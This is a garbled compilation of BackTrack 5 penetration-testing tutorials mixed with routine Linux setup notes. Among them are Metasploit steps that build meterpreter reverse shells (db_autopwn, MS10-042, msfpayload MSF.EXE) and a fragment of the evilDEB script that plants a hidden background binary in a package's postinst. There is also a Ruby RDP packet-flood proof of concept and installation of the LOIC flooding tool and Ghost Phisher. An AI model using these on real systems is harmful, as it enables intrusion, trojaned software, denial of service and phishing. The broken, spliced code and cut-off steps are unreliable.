2) Install PostgreSQL
sudo apt-get install postgresql postgresql-client postgresql-contrib
sudo apt-get install pgadmin3
Now enter the same password that you used previously('your password').
3) need to use the gem command to install ActiveRecord and the PostgreSQL driver for Ruby.
sudo gem1.8 install activerecord
sudo gem1.8 install postgres
IF YOU CAN NOT INSTALL postgres probably you need to install ruby1.8-dev
IF YOU STILL CAN NOT INSTALL POSTGRES, YOU NEED THE libpq-dev
sudo apt-get install libpq-dev
Now rerun
sudo gem1.8 install postgres
This will load the host and will use the exploits for open port 445
check that you are doing it for the correct ip
db_hosts
db_autopwn -t -p -e -s -b
This will show you the options used in the previous command
if suspenseful it will generate some active sessions
sessions -l
To use an active session do this. Where 'i' is the number of the session.
sessions i
4.EXPLOIT [windows/browser/ms10_042_helpctr_xss_cmd_exec]
Open terminal:
root@bt:~# msfconsole
msf > use windows/browser/ms10_042_helpctr_xss_cmd_exec
msf exploit(ms10_042_helpctr_xss_cmd_exec) > set payload
windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms10_042_helpctr_xss_cmd_exec) > set lhost [your IP]
lhost => [your IP]
msf exploit(ms10_042_helpctr_xss_cmd_exec) > set rport 4444
rport => 4444
msf exploit(ms10_042_helpctr_xss_cmd_exec) > exploit
root@bt # prepare-kernel-sources
root@bt # cd /usr/src/linux
root@bt # cp -rf include/generated/* include/linux/
After this is done, edit /etc/apt/sources.list as shown below and download virtualbox
root@bt # echo deb http://download.virtualbox.org/virtualbox/debian lucid contrib non-free
>> /etc/apt/sources.list
root@bt # wget -q http://download.virtualbox.org/virtualbox/debian/oracle_vbox.asc -O- |
sudo apt-key add root@bt # apt-get update
root@bt # apt-cache search virtualbox
root@bt # apt-get install virtualbox-4.0
6.Updating and cleaning BackTrack 5 R1-R2 [SCRIPT]
DOWNLOAD SCRIPT: http://www.2shared.com/file/9CNvJLRy/bt5up.html
Open and run script in terminal :)
A. tar.gz also known as tarball, an archive format for electronic data and software. Most Linux
tarball contains a source code for software. If you are new to Linux I recommend using aptget, rpm and yum command to install all binary packages.
Tarballs are a group of files in one file. Tarball files have the extension .tar.gz, .tgz or .tar.bz2.
Most open source software use tarballs to distribute programs/source codes.
1: Uncompress tarball
Generally you need to type 3 commands as follows for building and compiling software:
root@bt:# ./configure
root@bt:# make
root@bt:# make install
Where,
./configure will configure the software to ensure your system has the necessary
functionality and libraries to successfully compile the package
make will compile all the source files into executable binaries.
Finally, make install will install the binaries and any supporting files into the appropriate
locations.
Each tarball comes with installation and build instructions. Open INSTALL or README file
for more information:
You can use kate or gedit txt editor for open readme and install file
gedit txt editor is come with Backtrack
kate you can install with this command:
root@bt:~# apt-get install kate
sslstrip-0.9/sslstrip/SSLServerConnection.py
sslstrip-0.9/sslstrip/ServerConnectionFactory.py
sslstrip-0.9/sslstrip/ClientRequest.py
sslstrip-0.9/sslstrip/ServerConnection.py
sslstrip-0.9/sslstrip/CookieCleaner.py
sslstrip-0.9/sslstrip/__init__.py
sslstrip-0.9/sslstrip/DnsCache.py
sslstrip-0.9/sslstrip/URLMonitor.py
sslstrip-0.9/lock.ico
sslstrip-0.9/sslstrip.py
root@bt:~# cd sslstrip-0.9
root@bt:~/sslstrip-0.9# python setup.py install
running install
running build
running build_py
creating build
creating build/lib.linux-i686-2.6
creating build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnection.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnectionFactory.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/StrippingProxy.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/SSLServerConnection.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ClientRequest.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/__init__.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/URLMonitor.py -> build/lib.linux-i686-2.6/sslstrip
byte-compiling /usr/local/lib/python2.6/dist-packages/sslstrip/StrippingProxy.py to
StrippingProxy.pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/sslstrip/SSLServerConnection.py to
SSLServerConnection.pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/sslstrip/ClientRequest.py to
ClientRequest.pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/sslstrip/__init__.py to __init__.pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/sslstrip/URLMonitor.py to
URLMonitor.pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/sslstrip/DnsCache.py to DnsCache.pyc
byte-compiling /usr/local/lib/python2.6/dist-packages/sslstrip/CookieCleaner.py to
CookieCleaner.pyc
running install_scripts
copying build/scripts-2.6/sslstrip -> /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
creating /usr/local/share/sslstrip
copying README -> /usr/local/share/sslstrip
copying COPYING -> /usr/local/share/sslstrip
copying lock.ico -> /usr/local/share/sslstrip
running install_egg_info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.9.egg-info
Cleaning up
root@bt:~/sslstrip-0.9# sslstrip
9.Nessus instalation on Backtrack
root@bt:~# apt-get install nessus
root@bt:~# /opt/nessus/sbin/nessus-adduser
Login : your username
export
export
port=$(shuf -i 2000-65000 -n 1)
export version="0.1"
if [ "$(id -u)" != "0" ]; then echo -e "\e[00;31m[-]\e[00m Not a superuser." 1>&2; cleanup; fi
function help() {
echo "(C)opyright 2010 g0tmi1k ~ http://g0tmi1k.blogspot.com
Common options:
-i --- Network interface (check with ifconfig) e.g. eth0
-d --- DEB file to use
"
exit 1
}
) export debFile=$OPTARG;;
) export interface=$OPTARG;;
?|h ) help;;
*
esac
done
if [ -e "/tmp/evilDEB" ]; then
xterm -geometry 75x8+100+0 -T "evilDEB v$version - Removing files" -e "rm -rf
/tmp/evilDEB/"
fi
mkdir -p /tmp/evilDEB/
cd /tmp/evilDEB/
if [ -e "postinst" ]; then
echo -e "\nsudo chmod 2755 /tmp/g0tmi1k && nohup /tmp/g0tmi1k >/dev/null 2>&1 &"
>> postinst
else
echo -e "#! /bin/sh\n\nsudo chmod 2755 /tmp/g0tmi1k && nohup /tmp/g0tmi1k >/dev/null
2>&1 &" > postinst
fi
mv postinst extracted/DEBIAN/
cleanup
13. [FIX] Black screen after startx (BT 5 R2)
After googling I found how fix black screen
I found on forum backtrack-linux.org/forums
http://www.backtrack-linux.org/forums/showthread.php?t=48737
___________________________________________________________________________
_
#!/usr/bin/env ruby
require 'socket'
sd.write(make_tpkt(data))
end
def make_tpkt(data)
[
3, # version
0, # reserved
4 + data.length
].pack('CCn') + data
end
def make_x224(data)
[ data.length ].pack('C') + data
end
host = ARGV.shift
sd = TCPSocket.new(host, 3389)
pkts1 = []
# ??
0,
# SRC-REF
# Class : Class 0
].pack('CnnC') + rdp)
pkts1
# craft connect-initial
x224_2 = make_x224([
0xf0, # Data / Class 0
0x80 # EOT: True / NR: 0
].pack('CC'))
# mcsCi
target_params = ""+
#"\x02\x01\x00"+
# maxChannelIds
"\x02\x01\x22"+ # maxChannelIds
"\x02\x01\x0a"+ # maxUserIds
"\x02\x01\x00"+ # maxTokenIds
"\x02\x01\x01"+ # numPriorities
"\x02\x01\x00"+ # minThroughput
"\x02\x01\x01"+ # maxHeight
"\x02\x02\xff\xff"+
# maxMCSPDUSize
"\x02\x01\x02" # protocolVersion
min_params = ""+
"\x02\x01\x01"+ # maxChannelIds
"\x02\x01\x01"+ # maxUserIds
"\x02\x01\x01"+ # maxTokenIds
"\x02\x01\x01"+ # numPriorities
"\x02\x01\x00"+ # minThroughput
"\x02\x01\x01"+ # maxHeight
"\x02\x02\x04\x20"+
# maxMCSPDUSize
"\x02\x01\x02" # protocolVersion
max_params = ""+
"\x02\x02\xff\xff"+
# maxChannelIds
"\x02\x02\xfc\x17"+
# maxUserIds
"\x02\x02\xff\xff"+
# maxTokenIds
"\x02\x01\x01"+ # numPriorities
"\x02\x01\x00"+ # minThroughput
"\x02\x01\x01"+ # maxHeight
"\x02\x02\xff\xff"+
# maxMCSPDUSize
"\x02\x01\x02" # protocolVersion
userdata = ""+
# gccCCrq
"\x00\x05\x00\x14"+
"\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
# clientCoreData
"\x01\xc0"+"\xd8\x00"+ # header (type, len)
"\x04\x00"+"\x08\x00"+ # version
"\x80\x02"+ # desktop width
"\xe0\x01"+ # desktop height
"\x01\xca"+ # color depth
"\x03\xaa"+ # SASSequence
"\x09\x04\x00\x00" + # keyboard layout
"\xce\x0e\x00\x00" + # client build number
# client name
"\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x04\x00\x00\x00"+ # keyboard type
"\x00\x00\x00\x00"+ # kbd subType
"\x0c\x00\x00\x00"+ # kbd FuncKey
# imeFileName
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x01\xca"+ # postBeta2ColorDepth
"\x01\x00"+ # clientProductId
"\x00\x00\x00\x00" + # serialNumber
"\x10\x00"+ # highColorDepth
"\x07\x00"+ # supportedColorDepths
"\x01\x00"+ # earlyCapabilityFlags
# clientDigProductId -poc has: "00000-000-0000000-00000"
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
"\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
"\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00"+ # connectionType
"\x00"+ # pad1octet
"\x00\x00\x00\x00"+ # serverSelectedProtocol
"\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
"\x0d\x00\x00\x00"+ # desktopPhysicalHeight
"\x00\x00\x00\x00"+ # reserved
# clientSecurityData
"\x02\xc0"+"\x0c\x00"+ # header (type, len)
"\x1b\x00\x00\x00"+ # encryptionMethods
"\x00\x00\x00\x00"+ # extEncryptionMethods
# clientNetworkData
"\x03\xc0"+"\x2c\x00"+ # header (type, len)
"\x03\x00\x00\x00"+ # channel count!
# channel 0
"rdpdr\x00\x00\x00"+ # name
"\x00\x00\x80\x80"+ # options
# channel 1
"cliprdr\x00"+
# name
"\x00\x00\xa0\xc0"+ # options
# channel 2
"rdpsnd\x00\x00"+
# name
"\x00\x00\x00\xc0" # options
# clientClusterData (not present)
# clientMonitorData (not present)
mcs_data = ""+
"\x04\x01\x01"+ # callingDomainSelector
"\x04\x01\x01"+ # calledDomainSelector
"\x01\x01\xff"+ # upwardFlag
"\x30" + [ target_params.length ].pack('C') + target_params +
"\x30" + [ min_params.length ].pack('C') + min_params +
"\x30" + [ max_params.length ].pack('C') + max_params +
# userData
"\x04\x82" + [ userdata.length ].pack('n') + userdata
pkts1
8.times {
pkts1
}
#pkts1
#pkts1
#pkts1
#pkts1
#pkts1
pkts1
#pkts1
#pkts1
#pkts1
pkts1
bigpkt = pkts1.join('')
20.times { |x|
puts "[*] Sending #{x + 1} ..."
sd.write(bigpkt)
sd.close
15. ghost-phisher-1.3
1. Update Algorithm
2. Penetration (Metasploit Binding)
3. Support for cloning HTTPS
4. Smarter Algorithm for HTTP Servers
5. Smarter HTML parsing
6. DHCP restructure and verbosity
7. Resolution adjustment for Netbook Users (F3 button)
8. User interface adjustments
9. Automatic redirections after payload download
10.Custom payload and generic vulnerability page supports
Requirements:
python
python-qt4
dhcp3-server
xterm
subversion
To install simply run the following command in terminal after changing directory to the path
were the downloaded package is:
root@host:~# dpkg -i ghost-phisher_1.3_all.deb
Icons and Running the application:
Software Icon can be found at the application Menu of the GNOME desktop interfaces
Icon can also be found at /usr/share/applications for KDE and also GNOME:
There you find "Ghost Phisher.desktop"
To get the source code for this project from SVN, here's the checkout link:
root@host:~# svn checkout http://ghost-phisher.googlecode.com/svn/Ghost-Phisher
Ghost Phisher Penetration Screenshots
Ghost phisher ships in with default Windows and Linux vulnerability pages, These pages can
be used for penetration.Ghost automatically recognizes the remote operating system and
displays the vulnerability pages according to the information fetched.
16. Change mac adress in Backtrack
In terminal type:
root@bt: ifconfig -a
You will now see a list of network interfaces, chipset details and their mac addresses. Pick
the ID which corresponds to your network card you want to spoof the MAC address on. In
this example I will be use eth0
First we need to bring our interface down. To do this we type the following command into the
shell:
root@bt: ifconfig eth0 down
To change your MAC address type the following command into the shell window swapping
out 11:22:33:44:55:66 for the MAC address you want to use:
root@bt: macchanger mac 11:22:33:44:55:66
Now we need to bring our interface back up. To do this we type the following command into
the shell:
man apt Will give you more info on these commands as well as many that are in less common
usage.
(`.
,-,
` `.
,;' /
`. ,'/ .'
`. X /.'
.-;--''--.._` ` (
.'
/ `
`' Q'
,
,.|
: .` ;
, `._
'
`-.;_'
` ` --,.._;
'`
, ) .'
`._ , ' /_
; ,''-,;' ````-..__``--`
Follow these steps and remove the old kernel images and clean up your GRUB boot menu.
First you need to find out what is the current kernel you are using. Open a terminal and run
the following command:
uname -r
It will print the version of the Linux kernel you are running.
then type:
dpkg get-selections|grep linux
It will print all of the version of the Linux kernel you was install.
then u can remove u not use Linux kernel just now.
apt-get remove linux-image-2.6.38*
or
u can search linux-image-2.6 without quotes from Synaptic Package Manager.
Mark delete Linux-image-(old version) and related package.
Click the apply button on the toolbar to complete the changes.
The results should show every currently installed as well as available kernel. Uncheck the
kernel images you want to uninstall. But be careful to keep the latest one we found with the
previous command.
just type this one:
Finally,just tpye:
update-grub
to update GRUB boot
26. INSTALL ATI and OPENCL in Backtrack 5 R1 or R2-tutorial
DOWNLOAD ATI DRIVERS FOR BACKTRACK:
http://developer.amd.com/sdks/AMDAPPSDK/downloads/Pages/default.aspx
First of all before we start we want to make sure that our system is up to date.
Before we go on with installing the ATI drivers we need to get our kernel source prepared.
root@bt:~# prepare-kernel-sources
root@bt:~# cd /usr/src/linux
root@bt:~# cp -rf include/generated/* include/linux/
Now that we are set up it's time to download the ATI drivers.
download both drivers and move to desktop.
in terminal write:
cd /root/Desktop/
Before we are finished there is one more thing that we need to install, The AMD Accelerated
Parallel Processing (APP) SDK, this one needs to be installed according to your CPU
architecture.
We will also need cmake and cmake++ along with some other library files.
Before we can install cmake++ we need to set the ATI Stream paths:
write in terminal:
root@bt:~# root@bt:~# aptitude install git-core monodevelop
root@bt:~# mkdir ~loic
root@bt:~# cd ~loic
root@bt:~/~loic# wget https://raw.github.com/nicolargo/loicinstaller/master/loic.sh
root@bt:~/~loic# chmod a+x loic.sh
root@bt:~/~loic# ./loic.sh install
root@bt:~/~loic# ./loic.sh update
root@bt:~/~loic# ./loic.sh run
B. Remove backtrack
1. now your computer should start the win 7 automatically
2. go to control panel > System and Security > Administrative Tools > Computer Management
> choose Disk Management (under storage properties)
3. u will see clearly your computer partitions, delete your backtrack partition by right click >
delete Volume
4. after it is deleted you will have new disk space and u can expand your other windows
partition.
in last line:
exec -a "$0" "$HERE/chrome" "$@"
type --user-data-dir
the line must be like this:
exec -a "$0" "$HERE/chrome" "$@" --user-data-dir
and save
30. How make postgresql database in msfconsole and fix armitage to work -TUTORIAL
root@bt:~# /etc/init.d/postgres
bash: /etc/init.d/postgres: No such file or directory
root@bt:~# /etc/init.d/postgresql-8.4
Usage: /etc/init.d/postgresql-8.4 {start|stop|restart|reload|force-reload|status|autovac-start|
autovac-stop|autovac-restart}
root@bt:~# /etc/init.d/postgresql-8.4 start
* Starting PostgreSQL 8.4 database server
[ Ok ]
postgres=# help
You are using psql, the command-line interface to PostgreSQL.
Type: \copyright for distribution terms
\h for help with SQL commands
\? for help with psql commands
[*] Examples:
[*]
db_connect user@metasploit3
[*]
db_connect user:pass@192.168.0.2/metasploit3
[*]
db_connect user:pass@192.168.0.2:1500/metasploit3
NOTICE: CREATE TABLE will create implicit sequence "services_id_seq" for serial column
"services.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "services_pkey" for
table "services"
NOTICE: CREATE TABLE will create implicit sequence "vulns_id_seq" for serial column
"vulns.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "vulns_pkey" for
table "vulns"
NOTICE: CREATE TABLE will create implicit sequence "refs_id_seq" for serial column
"refs.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "refs_pkey" for
table "refs"
NOTICE: CREATE TABLE will create implicit sequence "notes_id_seq" for serial column
"notes.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "notes_pkey" for
table "notes"
NOTICE: CREATE TABLE will create implicit sequence "wmap_targets_id_seq" for serial
column "wmap_targets.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index
"wmap_targets_pkey" for table "wmap_targets"
NOTICE: CREATE TABLE will create implicit sequence "wmap_requests_id_seq" for serial
column "wmap_requests.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index
"wmap_requests_pkey" for table "wmap_requests"
NOTICE: CREATE TABLE will create implicit sequence "workspaces_id_seq" for serial
column "workspaces.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "workspaces_pkey"
for table "workspaces"
NOTICE: CREATE TABLE will create implicit sequence "events_id_seq" for serial column
"events.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "events_pkey" for
table "events"
NOTICE: CREATE TABLE will create implicit sequence "loots_id_seq" for serial column
"loots.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "loots_pkey" for
table "loots"
NOTICE: CREATE TABLE will create implicit sequence "users_id_seq" for serial column
"users.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "users_pkey" for
table "users"
NOTICE: CREATE TABLE will create implicit sequence "reports_id_seq" for serial column
"reports.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "reports_pkey" for
table "reports"
NOTICE: CREATE TABLE will create implicit sequence "tasks_id_seq" for serial column
"tasks.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "tasks_pkey" for
table "tasks"
NOTICE: CREATE TABLE will create implicit sequence "creds_id_seq" for serial column
"creds.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "creds_pkey" for
table "creds"
NOTICE: CREATE TABLE will create implicit sequence "exploited_hosts_id_seq" for serial
column "exploited_hosts.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index
"exploited_hosts_pkey" for table "exploited_hosts"
NOTICE: CREATE TABLE will create implicit sequence "report_templates_id_seq" for
serial column "report_templates.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index
"report_templates_pkey" for table "report_templates"
NOTICE: CREATE TABLE will create implicit sequence "campaigns_id_seq" for serial
column "campaigns.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "campaigns_pkey"
for table "campaigns"
NOTICE: CREATE TABLE will create implicit sequence "email_templates_id_seq" for
serial column "email_templates.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index
"email_templates_pkey" for table "email_templates"
NOTICE: CREATE TABLE will create implicit sequence "attachments_id_seq" for serial
column "attachments.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "attachments_pkey"
for table "attachments"
NOTICE: CREATE TABLE will create implicit sequence "email_addresses_id_seq" for
serial column "email_addresses.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index
"email_addresses_pkey" for table "email_addresses"
NOTICE: CREATE TABLE will create implicit sequence "web_templates_id_seq" for serial
column "web_templates.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index
"web_templates_pkey" for table "web_templates"
NOTICE: CREATE TABLE will create implicit sequence "web_sites_id_seq" for serial
column "web_sites.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "web_sites_pkey"
for table "web_sites"
NOTICE: CREATE TABLE will create implicit sequence "web_pages_id_seq" for serial
column "web_pages.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "web_pages_pkey"
for table "web_pages"
NOTICE: CREATE TABLE will create implicit sequence "web_forms_id_seq" for serial
column "web_forms.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "web_forms_pkey"
for table "web_forms"
NOTICE: CREATE TABLE will create implicit sequence "web_vulns_id_seq" for serial
column "web_vulns.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "web_vulns_pkey"
for table "web_vulns"
NOTICE: CREATE TABLE will create implicit sequence "imported_creds_id_seq" for serial
column "imported_creds.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index
"imported_creds_pkey" for table "imported_creds"
NOTICE: CREATE TABLE will create implicit sequence "tags_id_seq" for serial column
"tags.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "tags_pkey" for
table "tags"
NOTICE: CREATE TABLE will create implicit sequence "sessions_id_seq" for serial
column "sessions.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "sessions_pkey" for
table "sessions"
NOTICE: CREATE TABLE will create implicit sequence "session_events_id_seq" for serial
column "session_events.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index
"session_events_pkey" for table "session_events"
NOTICE: CREATE TABLE will create implicit sequence "routes_id_seq" for serial column
"routes.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "routes_pkey" for
table "routes"
NOTICE: CREATE TABLE will create implicit sequence "api_keys_id_seq" for serial
column "api_keys.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "api_keys_pkey"
for table "api_keys"
NOTICE: CREATE TABLE will create implicit sequence "macros_id_seq" for serial column
"macros.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "macros_pkey" for
table "macros"
NOTICE: CREATE TABLE will create implicit sequence "cred_files_id_seq" for serial
column "cred_files.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "cred_files_pkey"
for table "cred_files"
NOTICE: CREATE TABLE will create implicit sequence "listeners_id_seq" for serial
column "listeners.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "listeners_pkey" for
table "listeners"
NOTICE: CREATE TABLE will create implicit sequence "nexpose_consoles_id_seq" for
serial column "nexpose_consoles.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index
"nexpose_consoles_pkey" for table "nexpose_consoles"
NOTICE: CREATE TABLE will create implicit sequence "profiles_id_seq" for serial column
"profiles.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "profiles_pkey" for
table "profiles"
NOTICE: CREATE TABLE will create implicit sequence "mod_refs_id_seq" for serial
column "mod_refs.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "mod_refs_pkey"
for table "mod_refs"
msf >
now you used postgresql database in msfconsole
IMPORTANT:
also save in txt document your user and password for further connecting after update or
upgrade metasploit
_____________________________________________________________________
FIX ARMITAGE
Linux Users
Try to start the database with:
/etc/init.d/framework-postgres start
If you see:
bash: /etc/init.d/framework-postgres: No such file or directory
Then congratulations! The script to start the database was not installed. This is the result of a
change to the latest Metasploit installer. If you don't opt to start Metasploit as a service,
Metasploit won't start your database on bootup. To create a database startup script and fix this
issue:
You should be all set now. Your database is running and it will start when you reboot your
host too.
If you see:
bogus data in lock file "postmaster.pid"
REMOVE FLASHPLAYER:
root@bt:~# apt-get purge flashplugin-nonfree flashplugin-installer gnash gnash-common
mozilla-plugin-gnash swfdec-mozilla
root@bt:~# rm -f /usr/lib/firefox/plugins/*flash*
root@bt:~# rm -f /usr/lib/firefox-addons/plugins/*flash*
root@bt:~# rm -f /usr/lib/mozilla/plugins/*flash*
root@bt:~# rm -f ~/.mozilla/plugins/*flash*so
root@bt:~# rm -rfd /usr/lib/nspluginwrapper
EXTRACT:
root@bt:~# tar xvfz flashplayer11_i386deb.tar.gz (write your deb.tar.gz file)
FOLDER ON DESKTOP OPEN AND YOU WILL SEE LOTS OF FOLDERS AND IN
THESE FOLDERS YOU WILL SEE APPLICATIONS,ICONS,DOCUMENTS ALL OF
THESE MOVE TO YOUR SISTEM.EXAMPLE: IF SOMETHING IN
USR/LIB/APPLICATION MOVE TO SYSTEM USR/LIB/APPLICATION
34. Hacking with exploit/multi/handler on Back|track 5 r1
Open terminal:
msfpayload windows/meterpreter/reverse_tcp lhost=[YOUR IP] lport=4444 > MSF.EXE